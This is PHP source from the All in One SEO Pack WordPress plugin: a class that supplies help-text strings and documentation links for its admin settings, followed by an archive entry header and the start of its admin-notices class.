to the specified term. For example, if you exclude the "Uncategorized" category then all posts in that category will also be excluded from the sitemap.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_excl_pages' => __( 'Use page slugs or page IDs, separated by commas, to exclude pages from the sitemap.', 'all-in-one-seo-pack' ), // Priorities. 'aiosp_sitemap_prio_homepage' => sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'priority', 'all-in-one-seo-pack' ), __( 'Homepage', 'all-in-one-seo-pack' ) ), 'aiosp_sitemap_prio_post' => sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'priority', 'all-in-one-seo-pack' ), __( 'Posts', 'all-in-one-seo-pack' ) ), 'aiosp_sitemap_prio_taxonomies' => sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'priority', 'all-in-one-seo-pack' ), __( 'Taxonomies', 'all-in-one-seo-pack' ) ), 'aiosp_sitemap_prio_archive' => sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'priority', 'all-in-one-seo-pack' ), __( 'Archive Pages', 'all-in-one-seo-pack' ) ), 'aiosp_sitemap_prio_author' => sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'priority', 'all-in-one-seo-pack' ), __( 'Author Pages', 'all-in-one-seo-pack' ) ), // Frequencies. 'aiosp_sitemap_freq_homepage' => sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'frequency', 'all-in-one-seo-pack' ), __( 'Homepage', 'all-in-one-seo-pack' ) ), 'aiosp_sitemap_freq_post' => sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'frequency', 'all-in-one-seo-pack' ), __( 'Posts', 'all-in-one-seo-pack' ) ), 'aiosp_sitemap_freq_taxonomies' => sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'frequency', 'all-in-one-seo-pack' ), __( 'Taxonomies', 'all-in-one-seo-pack' ) ), 'aiosp_sitemap_freq_archive' => sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'frequency', 'all-in-one-seo-pack' ), __( 'Archive Pages', 'all-in-one-seo-pack' ) ), 'aiosp_sitemap_freq_author' => sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'frequency', 'all-in-one-seo-pack' ), __( 'Author Pages', 'all-in-one-seo-pack' ) ), ); $args = array( 'public' => true, ); $post_types = get_post_types( $args, 'names' ); foreach ( $post_types as $pt ) { $pt_obj = get_post_type_object( $pt ); $rtn_help_text[ 'aiosp_sitemap_prio_post_' . $pt ] = sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'priority', 'all-in-one-seo-pack' ), ucwords( $pt_obj->label ) ); $rtn_help_text[ 'aiosp_sitemap_freq_post_' . $pt ] = sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'frequency', 'all-in-one-seo-pack' ), ucwords( $pt_obj->label ) ); $help_doc_link[ 'aiosp_sitemap_prio_post_' . $pt ] = 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies'; $help_doc_link[ 'aiosp_sitemap_freq_post_' . $pt ] = 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies'; } $taxonomies = get_taxonomies( $args, 'object' ); foreach ( $taxonomies as $tax ) { $rtn_help_text[ 'aiosp_sitemap_prio_taxonomies_' . $tax->name ] = sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'priority', 'all-in-one-seo-pack' ), ucwords( $tax->label ) ); $rtn_help_text[ 'aiosp_sitemap_freq_taxonomies_' . $tax->name ] = sprintf( __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ), __( 'frequency', 'all-in-one-seo-pack' ), ucwords( $tax->label ) ); $help_doc_link[ 'aiosp_sitemap_prio_taxonomies_' . $tax->name ] = 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies'; $help_doc_link[ 'aiosp_sitemap_freq_taxonomies_' . $tax->name ] = 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies'; } $help_doc_link = array( // XML Sitemap. 'aiosp_sitemap_rss_sitemap' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#create-rss_sitemap', 'aiosp_sitemap_daily_cron' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#schedule-updates', 'aiosp_sitemap_indexes' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#enable-sitemap-indexes', 'aiosp_sitemap_max_posts' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#enable-sitemap-indexes', 'aiosp_sitemap_posttypes' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#post-types-and-taxonomies', 'aiosp_sitemap_taxonomies' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#post-types-and-taxonomies', 'aiosp_sitemap_archive' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#include-archive-pages', 'aiosp_sitemap_author' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#include-archive-pages', 'aiosp_sitemap_images' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#exclude-images', 'aiosp_sitemap_robots' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#link-from-virtual-robots', 'aiosp_sitemap_rewrite' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#dynamically-generate-sitemap', // Additional Pages. 'aiosp_sitemap_addl_url' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#additional-pages', 'aiosp_sitemap_addl_prio' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#additional-pages', 'aiosp_sitemap_addl_freq' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#additional-pages', 'aiosp_sitemap_addl_mod' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#additional-pages', // Exclude Items. 'aiosp_sitemap_excl_terms' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#excluded-items', 'aiosp_sitemap_excl_pages' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#excluded-items', // Priorities. 'aiosp_sitemap_prio_homepage' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies', 'aiosp_sitemap_prio_post' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies', 'aiosp_sitemap_prio_taxonomies' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies', 'aiosp_sitemap_prio_archive' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies', 'aiosp_sitemap_prio_author' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies', // Frequencies. 'aiosp_sitemap_freq_homepage' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies', 'aiosp_sitemap_freq_post' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies', 'aiosp_sitemap_freq_taxonomies' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies', 'aiosp_sitemap_freq_archive' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies', 'aiosp_sitemap_freq_author' => 'https://semperplugins.com/documentation/xml-sitemaps-module/#priorities-and-frequencies', ); /* * Currently has no links, but may be added later. foreach ( $post_types as $pt ) { $help_doc_link[ 'aiosp_sitemap_prio_post_' . $pt ] = ''; $help_doc_link[ 'aiosp_sitemap_freq_post_' . $pt ] = ''; } */ /* * Currently has no links, but may be added later. foreach ( $taxonomies as $tax ) { $help_doc_link[ 'aiosp_sitemap_prio_taxonomies_' . $tax->name ] = ''; $help_doc_link[ 'aiosp_sitemap_freq_taxonomies_' . $tax->name ] = ''; } */ foreach ( $help_doc_link as $k1_slug => $v1_url ) { $rtn_help_text[ $k1_slug ] .= '<br /><br /><a href="' . $v1_url . '" target="_blank">' . __( 'Click here for documentation on this setting.', 'all-in-one-seo-pack' ) . '</a>'; } return $rtn_help_text; } /** * Help Text Opengraph Module * * @ignore * @since 2.4.2 * @access private * * @return array */ private function help_text_opengraph() { $rtn_help_text = array( // Home Page Settings. /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ 'aiosp_opengraph_setmeta' => sprintf( __( 'Checking this box will use the Home Title and Home Description set in %s, General Settings as the Open Graph title and description for your home page.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ), 'aiosp_opengraph_sitename' => __( 'The Site Name is the name that is used to identify your website.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_hometitle' => __( 'The Home Title is the Open Graph title for your home page.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_description' => __( 'The Home Description is the Open Graph description for your home page.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_homeimage' => __( 'The Home Image is the Open Graph image for your home page.', 'all-in-one-seo-pack' ), // Image Settings. 'aiosp_opengraph_defimg' => __( 'This option lets you choose which image will be displayed by default for the Open Graph image. You may override this on individual posts.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_fallback' => __( 'This option lets you fall back to the default image if no image could be found above.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_dimg' => __( 'This option sets a default image that can be used for the Open Graph image. You can upload an image, select an image from your Media Library or paste the URL of an image here.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_dimgwidth' => __( 'This option lets you set a default width for your images, where unspecified.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_dimgheight' => __( 'This option lets you set a default height for your images, where unspecified.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_meta_key' => __( 'Enter the name of a custom field (or multiple field names separated by commas) to use that field to specify the Open Graph image on Pages or Posts.', 'all-in-one-seo-pack' ), // Facebook Settings. 'aiosp_opengraph_key' => __( 'Enter your Facebook Admin ID here. You can enter multiple IDs separated by a comma. You can look up your Facebook ID using this tool http://findmyfbid.com/', 'all-in-one-seo-pack' ), 'aiosp_opengraph_appid' => __( 'Enter your Facebook App ID here. Information about how to get your Facebook App ID can be found at https://developers.facebook.com/docs/apps/register', 'all-in-one-seo-pack' ), 'aiosp_opengraph_gen_tags' => __( 'Automatically generate article tags for Facebook type article when not provided.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_gen_keywords' => __( 'Use keywords in generated article tags.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_gen_categories' => __( 'Use categories in generated article tags.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_gen_post_tags' => __( 'Use post tags in generated article tags.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_types' => __( 'Select which Post Types you want to set Open Graph meta values for.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_facebook_publisher' => __( 'Link articles to the Facebook page associated with your website.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_facebook_author' => __( 'Allows your authors to be identified by their Facebook pages as content authors on the Opengraph meta for their articles.', 'all-in-one-seo-pack' ), // Twitter Settings. 'aiosp_opengraph_defcard' => __( 'Select the default type of Twitter Card to display.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_twitter_site' => __( 'Enter the Twitter username associated with your website here.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_twitter_creator' => __( 'Allows your authors to be identified by their Twitter usernames as content creators on the Twitter cards for their posts.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_twitter_domain' => __( 'Enter the name of your website here.', 'all-in-one-seo-pack' ), // Advanced Settings. 'aiosp_opengraph_title_shortcodes' => __( 'Run shortcodes that appear in social title meta tags.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_description_shortcodes' => __( 'Run shortcodes that appear in social description meta tags.', 'all-in-one-seo-pack' ), 'aiosp_opengraph_generate_descriptions' => __( 'This option will auto generate your Open Graph descriptions from your post content instead of your post excerpt. WooCommerce users should read the documentation regarding this setting.', 'all-in-one-seo-pack' ), // POST META. 'aioseop_opengraph_settings_title' => __( 'This is the Open Graph title of this Page or Post.', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_desc' => __( 'This is the Open Graph description of this Page or Post.', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_image' => __( 'This option lets you select the Open Graph image that will be used for this Page or Post, overriding the default settings.', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_customimg' => __( 'This option lets you upload an image to use as the Open Graph image for this Page or Post.', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_imagewidth' => __( 'Enter the width for your Open Graph image in pixels (i.e. 600).', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_imageheight' => __( 'Enter the height for your Open Graph image in pixels (i.e. 600).', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_video' => __( 'This option lets you specify a link to the Open Graph video used on this Page or Post.', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_videowidth' => __( 'Enter the width for your Open Graph video in pixels (i.e. 600).', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_videoheight' => __( 'Enter the height for your Open Graph video in pixels (i.e. 600).', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_category' => __( 'Select the Open Graph type that best describes the content of this Page or Post.', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_facebook_debug' => __( 'Press this button to have Facebook re-fetch and debug this page.', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_section' => __( 'This Open Graph meta allows you to add a general section name that best describes this content.', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_tag' => __( 'This Open Graph meta allows you to add a list of keywords that best describe this content.', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_setcard' => __( 'Select the Twitter Card type to use for this Page or Post, overriding the default setting.', 'all-in-one-seo-pack' ), 'aioseop_opengraph_settings_customimg_twitter' => __( 'This option lets you upload an image to use as the Twitter image for this Page or Post.', 'all-in-one-seo-pack' ), ); $args_1 = array( 'public' => true, ); $args_2 = array( 'public' => false, ); $post_types = array_merge( get_post_types( $args_1, 'names' ), get_post_types( $args_2, 'names' ) ); foreach ( $post_types as $pt ) { $rtn_help_text[ 'aiosp_opengraph_' . $pt . '_fb_object_type' ] = __( 'Choose a default value that best describes the content of your post type.', 'all-in-one-seo-pack' ); $rtn_help_text[ 'aiosp_opengraph_' . $pt . '_fb_object_type' ] .= '<br /><br /><a href="https://semperplugins.com/documentation/social-meta-module/#content-object-types" target="_blank">' . __( 'Click here for documentation on this setting.', 'all-in-one-seo-pack' ) . '</a>'; } $help_doc_link = array( // Home Page Settings. 'aiosp_opengraph_setmeta' => 'https://semperplugins.com/documentation/social-meta-module/#use-aioseo-title-and-description', 'aiosp_opengraph_sitename' => 'https://semperplugins.com/documentation/social-meta-module/#site-name', 'aiosp_opengraph_hometitle' => 'https://semperplugins.com/documentation/social-meta-module/#home-title-and-description', 'aiosp_opengraph_description' => 'https://semperplugins.com/documentation/social-meta-module/#home-title-and-description', 'aiosp_opengraph_homeimage' => 'https://semperplugins.com/documentation/social-meta-module/#home-image', // Image Settings. 'aiosp_opengraph_defimg' => 'https://semperplugins.com/documentation/social-meta-module/#select-og-image-source', 'aiosp_opengraph_fallback' => 'https://semperplugins.com/documentation/social-meta-module/#use-default-if-no-image-found', 'aiosp_opengraph_dimg' => 'https://semperplugins.com/documentation/social-meta-module/#default-og-image', 'aiosp_opengraph_dimgwidth' => 'https://semperplugins.com/documentation/social-meta-module/#default-image-width', 'aiosp_opengraph_dimgheight' => 'https://semperplugins.com/documentation/social-meta-module/#default-image-height', 'aiosp_opengraph_meta_key' => 'https://semperplugins.com/documentation/social-meta-module/#use-custom-field-for-image', // Facebook Settings. 'aiosp_opengraph_key' => 'https://semperplugins.com/documentation/social-meta-module/#facebook-admin-id', 'aiosp_opengraph_appid' => 'https://semperplugins.com/documentation/social-meta-module/#facebook-app-id', 'aiosp_opengraph_gen_tags' => 'https://semperplugins.com/documentation/social-meta-module/#automatically-generate-article-tags', 'aiosp_opengraph_gen_keywords' => 'https://semperplugins.com/documentation/social-meta-module/#use-keywords-in-article-tags', 'aiosp_opengraph_gen_categories' => 'https://semperplugins.com/documentation/social-meta-module/#use-categories-in-article-tags', 'aiosp_opengraph_gen_post_tags' => 'https://semperplugins.com/documentation/social-meta-module/#use-post-tags-in-article-tags', 'aiosp_opengraph_types' => 'https://semperplugins.com/documentation/social-meta-module/#enable-facebook-meta-for', 'aiosp_opengraph_facebook_publisher' => 'https://semperplugins.com/documentation/social-meta-module/#show-facebook-publisher-on-articles', 'aiosp_opengraph_facebook_author' => 'https://semperplugins.com/documentation/social-meta-module/#show-facebook-author-on-articles', // Twitter Settings. 'aiosp_opengraph_defcard' => 'https://semperplugins.com/documentation/social-meta-module/#default-twitter-card', 'aiosp_opengraph_twitter_site' => 'https://semperplugins.com/documentation/social-meta-module/#twitter-site', 'aiosp_opengraph_twitter_creator' => 'https://semperplugins.com/documentation/social-meta-module/#show-twitter-author', 'aiosp_opengraph_twitter_domain' => 'https://semperplugins.com/documentation/social-meta-module/#twitter-domain', // Advanced Settings. 'aiosp_opengraph_title_shortcodes' => 'https://semperplugins.com/documentation/social-meta-module/#run-shortcodes-in-title', 'aiosp_opengraph_description_shortcodes' => 'https://semperplugins.com/documentation/social-meta-module/#run-shortcodes-in-description', 'aiosp_opengraph_generate_descriptions' => 'https://semperplugins.com/documentation/social-meta-module/#auto-generate-og-descriptions', // POST META. 'aioseop_opengraph_settings_title' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#title', 'aioseop_opengraph_settings_desc' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#description', 'aioseop_opengraph_settings_image' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#image', 'aioseop_opengraph_settings_customimg' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#custom-image', 'aioseop_opengraph_settings_imagewidth' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#specify-image-width-height', 'aioseop_opengraph_settings_imageheight' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#specify-image-width-height', 'aioseop_opengraph_settings_video' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#custom-video', 'aioseop_opengraph_settings_videowidth' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#specify-video-width-height', 'aioseop_opengraph_settings_videoheight' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#specify-video-width-height', 'aioseop_opengraph_settings_category' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#facebook-object-type', 'aioseop_opengraph_settings_facebook_debug' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#facebook-debug', 'aioseop_opengraph_settings_section' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#article-section', 'aioseop_opengraph_settings_tag' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#article-tags', 'aioseop_opengraph_settings_setcard' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#twitter-card-type', 'aioseop_opengraph_settings_customimg_twitter' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/#custom-twitter-image', ); foreach ( $help_doc_link as $k1_slug => $v1_url ) { $rtn_help_text[ $k1_slug ] .= '<br /><br /><a href="' . $v1_url . '" target="_blank">' . __( 'Click here for documentation on this setting.', 'all-in-one-seo-pack' ) . '</a>'; } return $rtn_help_text; } /** * Help Text Robots Generator Module * * @ignore * @since 2.4.2 * @access private * * @return array */ private function help_text_robots_generator() { $rtn_help_text = array( 'aiosp_robots_type' => __( 'Use the dropdown to select whether you want to allow or block access to the specified directory or file.', 'all-in-one-seo-pack' ), 'aiosp_robots_agent' => __( 'Enter the name of a User Agent here. You can use the wildcard * to allow or block all robots. A list of User Agents can be found <a target="_blank" rel="noopener noreferrer" href="http://www.robotstxt.org/db.html">here</a>.', 'all-in-one-seo-pack' ), 'aiosp_robots_path' => __( 'Enter a valid path to a directory or file, for example: /wp-admin/ or /wp-admin/admin-ajax.php', 'all-in-one-seo-pack' ), ); return $rtn_help_text; } /** * Help Text File Editor Module * * @ignore * @since 2.4.2 * @access private * * @return array */ private function help_text_file_editor() { return array( 'aiosp_file_editor_htaccfile' => __( '.htaccess editor', 'all-in-one-seo-pack' ), ); } /** * Help Text Importer Exporter Module * * @ignore * @since 2.4.2 * @access private * * @return array */ private function help_text_importer_exporter() { $rtn_help_text = array( // Possible HTML link concept IF links become usable inside jQuery UI Tooltips. /* translators: %1$s and 12$s are placeholders, which means these should not be translated. These will be replaced with the name of the plugin, All in One SEO Pack. */ 'aiosp_importer_exporter_import_submit' => sprintf( __( 'Choose a valid %1$s .ini file and click "Import" to import options from a previous state or install of %2$s.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME, AIOSEOP_PLUGIN_NAME ), 'aiosp_importer_exporter_export_choices' => __( 'You may choose to export settings from active modules, and content from post data.', 'all-in-one-seo-pack' ), /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ 'aiosp_importer_exporter_export_post_types' => sprintf( __( 'Select which Post Types you want to export your %s meta data for.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ), ); $help_doc_link = array( 'aiosp_importer_exporter_import_submit' => 'https://semperplugins.com/documentation/importer-exporter-module/', 'aiosp_importer_exporter_export_choices' => 'https://semperplugins.com/documentation/importer-exporter-module/', 'aiosp_importer_exporter_export_post_types' => 'https://semperplugins.com/documentation/importer-exporter-module/', ); foreach ( $help_doc_link as $k1_slug => $v1_url ) { $rtn_help_text[ $k1_slug ] .= '<br /><br /><a href="' . $v1_url . '" target="_blank">' . __( 'Click here for documentation on this setting.', 'all-in-one-seo-pack' ) . '</a>'; } return $rtn_help_text; } /** * Help Text Bad Robots Module * * @ignore * @since 2.4.2 * @access private * * @return array */ private function help_text_bad_robots() { return array( 'aiosp_bad_robots_block_bots' => __( 'Block requests from user agents that are known to misbehave with 503.', 'all-in-one-seo-pack' ), 'aiosp_bad_robots_block_refer' => __( 'Block Referral Spam using HTTP.', 'all-in-one-seo-pack' ), 'aiosp_bad_robots_track_blocks' => __( 'Log and show recent requests from blocked bots.', 'all-in-one-seo-pack' ), 'aiosp_bad_robots_edit_blocks' => __( 'Check this to edit the list of disallowed user agents for blocking bad bots.', 'all-in-one-seo-pack' ), 'aiosp_bad_robots_blocklist' => __( 'This is the list of disallowed user agents used for blocking bad bots.', 'all-in-one-seo-pack' ), 'aiosp_bad_robots_referlist' => __( 'This is the list of disallowed referers used for blocking bad bots.', 'all-in-one-seo-pack' ), 'aiosp_bad_robots_blocked_log' => __( 'Shows log of most recent requests from blocked bots. Note: this will not track any bots that were already blocked at the web server / .htaccess level.', 'all-in-one-seo-pack' ), ); } /** * Help Text Post Meta (Core Module) * * @ignore * @since 2.4.2 * @access private * * @see self::_help_text_opengraph() Also adds Post Meta info. * * @return array */ private function help_text_post_meta() { $rtn_help_text = array( 'aiosp_snippet' => __( 'A preview of what this page might look like in search engine results.', 'all-in-one-seo-pack' ), 'aiosp_title' => __( 'A custom title that shows up in the title tag for this page.', 'all-in-one-seo-pack' ), 'aiosp_description' => __( 'The META description for this page. This will override any autogenerated descriptions.', 'all-in-one-seo-pack' ), 'aiosp_keywords' => __( 'A comma separated list of your most important keywords for this page that will be written as META keywords.', 'all-in-one-seo-pack' ), 'aiosp_custom_link' => __( 'Override the canonical URLs for this post.', 'all-in-one-seo-pack' ), 'aiosp_noindex' => __( 'Check this box to ask search engines not to index this page.', 'all-in-one-seo-pack' ), 'aiosp_nofollow' => __( 'Check this box to ask search engines not to follow links from this page.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_exclude' => __( 'Don\'t display this page in the sitemap.', 'all-in-one-seo-pack' ), 'aiosp_disable' => __( 'Disable SEO on this page.', 'all-in-one-seo-pack' ), 'aiosp_disable_analytics' => __( 'Disable Google Analytics on this page.', 'all-in-one-seo-pack' ), ); $help_doc_link = array( 'aiosp_snippet' => 'https://semperplugins.com/documentation/post-settings/#preview-snippet', 'aiosp_title' => 'https://semperplugins.com/documentation/post-settings/#title', 'aiosp_description' => 'https://semperplugins.com/documentation/post-settings/#description', 'aiosp_keywords' => 'https://semperplugins.com/documentation/post-settings/#keywords', 'aiosp_custom_link' => 'https://semperplugins.com/documentation/post-settings/#custom-canonical-url', 'aiosp_noindex' => 'https://semperplugins.com/documentation/post-settings/#robots-meta-noindex', 'aiosp_nofollow' => 'https://semperplugins.com/documentation/post-settings/#robots-meta-nofollow', 'aiosp_sitemap_exclude' => 'https://semperplugins.com/documentation/post-settings/#exclude-from-sitemap', 'aiosp_disable' => 'https://semperplugins.com/documentation/post-settings/#disable-on-this-post', 'aiosp_disable_analytics' => 'https://semperplugins.com/documentation/post-settings/#disable-google-analytics', ); foreach ( $help_doc_link as $k1_slug => $v1_url ) { $rtn_help_text[ $k1_slug ] .= '<br /><br /><a href="' . $v1_url . '" target="_blank">' . __( 'Click here for documentation on this setting.', 'all-in-one-seo-pack' ) . '</a>'; } return $rtn_help_text; } /** * Get Help Text * * Gets an individual help text if it exists, otherwise an error is returned * to notify the AIOSEOP Devs. * NOTE: Returning an empty string causes issues with the UI. * * @since 2.4.2 * * @param string $slug Module option slug. * @return string */ public function get_help_text( $slug ) { if ( isset( $this->help_text[ $slug ] ) ) { return esc_html( $this->help_text[ $slug ] ); } return 'DEV: Missing Help Text: ' . $slug; } } PK������+—[Ä<Hfd��fd��3��all-in-one-seo-pack/admin/class-aioseop-notices.phpnu�„[µü¤��������<?php /** * AIOSEOP Notice API: AIOSEOP Notice Class * * Handles adding, updating, and removing notices. Then handles activating or * deactivating those notices site-wide or user based. * * @link https://wordpress.org/plugins/all-in-one-seo-pack/ * * @package All_in_One_SEO_Pack * @since 3.0 */ if ( ! class_exists( 'AIOSEOP_Notices' ) ) { /** * AIOSEOP Notice. * * Admin notices for AIOSEOP. * * @since 3.0 */ class AIOSEOP_Notices { /** * Collection of notices to display. * * @since 3.0 * @access public * * @var array $notices { * @type array $slug { * -- Server Variables -- * @type string $slug Required. Notice unique ID. * @type int $time_start The time the notice was added to the object. * @type int $time_set Set when AJAX/Action_Option was last used to delay time. Primarily for PHPUnit tests. * * -- Filter Function Variables -- * @type int $delay_time Amount of time to begin showing message. * @type string $message Content message to display in the container. * @type array $action_option { * Show options for users to click on. Default: See self::action_option_defaults(). * @type array { * @type int $time Optional. The amount of time to delay. Zero immediately displays Default: 0. * @type string $text Optional. Button/Link HTML text to display. Default: ''. * @type string $class Optional. Class names to add to the link/button for styling. Default: ''. * @type string $link Optional. The elements href source/link. Default: '#'. * @type boolean $dismiss Optional. Variable for AJAX to dismiss showing a notice. * } * } * @type string $class The class notice used by WP, or a custom CSS class. * Ex. notice-error, notice-warning, notice-success, notice-info. * @type string $target Shows based on site-wide or user notice data. * @todo string $perms Displays based on user-role/permissions. * @type array $screens Which screens to exclusively display the notice on. Default: array(). * array() = all, * array('aioseop') = $this->aioseop_screens, * array('CUSTOM') = specific screen(s). * } * } */ public $notices = array(); /** * List of notice slugs that are currently active. * NOTE: Amount is reduced by 1 second in order to display at exactly X amount of time. * * @todo Change name to $display_times for consistancy both conceptually and with usermeta structure. * * @since 3.0 * @access public * * @var array $active_notices { * @type string|int $slug => $display_time Contains the current active notices * that are scheduled to be displayed. * } */ public $active_notices = array(); /** * Dismissed Notices * * Stores notices that have been dismissed sitewide. Users are stored in usermeta data 'aioseop_notice_dismissed_{$slug}'. * * @since 3.0 * * @var array $dismissed { * @type boolean $notice_slug => $is_dismissed True if dismissed. * } */ public $dismissed = array(); /** * The default dismiss time. An anti-nag setting. * * @var int $default_dismiss_delay */ private $default_dismiss_delay = 180; /** * List of Screens used in AIOSEOP. * * @since 3.0 * * @var array $aioseop_screens { * @type string Screen ID. * } */ private $aioseop_screens = array(); /** * __constructor. * * @since 3.0 */ public function __construct() { // DirectoryIterator::getExtension() was added in PHP 5.3.6. We can remove this once we drop support < PHP 5.3. if ( version_compare( phpversion(), '5.3.6', '<' ) ) { return false; } $this->_requires(); $this->obj_load_options(); if ( current_user_can( 'aiosp_manage_seo' ) ) { $this->aioseop_screens[] = 'toplevel_page_' . AIOSEOP_PLUGIN_DIRNAME . '/aioseop_class'; $this->aioseop_screens[] = 'all-in-one-seo_page_' . AIOSEOP_PLUGIN_DIRNAME . '/modules/aioseop_performance'; $this->aioseop_screens[] = 'all-in-one-seo_page_' . AIOSEOP_PLUGIN_DIRNAME . '/modules/aioseop_sitemap'; $this->aioseop_screens[] = 'all-in-one-seo_page_aiosp_opengraph'; $this->aioseop_screens[] = 'all-in-one-seo_page_aiosp_robots_generator'; $this->aioseop_screens[] = 'all-in-one-seo_page_' . AIOSEOP_PLUGIN_DIRNAME . '/modules/aioseop_robots'; $this->aioseop_screens[] = 'all-in-one-seo_page_' . AIOSEOP_PLUGIN_DIRNAME . '/modules/aioseop_file_editor'; $this->aioseop_screens[] = 'all-in-one-seo_page_' . AIOSEOP_PLUGIN_DIRNAME . '/modules/aioseop_importer_exporter'; $this->aioseop_screens[] = 'all-in-one-seo_page_' . AIOSEOP_PLUGIN_DIRNAME . '/modules/aioseop_bad_robots'; $this->aioseop_screens[] = 'all-in-one-seo_page_' . AIOSEOP_PLUGIN_DIRNAME . '/modules/aioseop_feature_manager'; add_action( 'admin_init', array( $this, 'init' ) ); add_action( 'current_screen', array( $this, 'admin_screen' ) ); } } /** * _Requires * * Internal use only. Additional files required. * * @since 3.0 */ private function _requires() { $this->autoload_notice_files(); } /** * Autoload Notice Files * * @since 3.0 * * 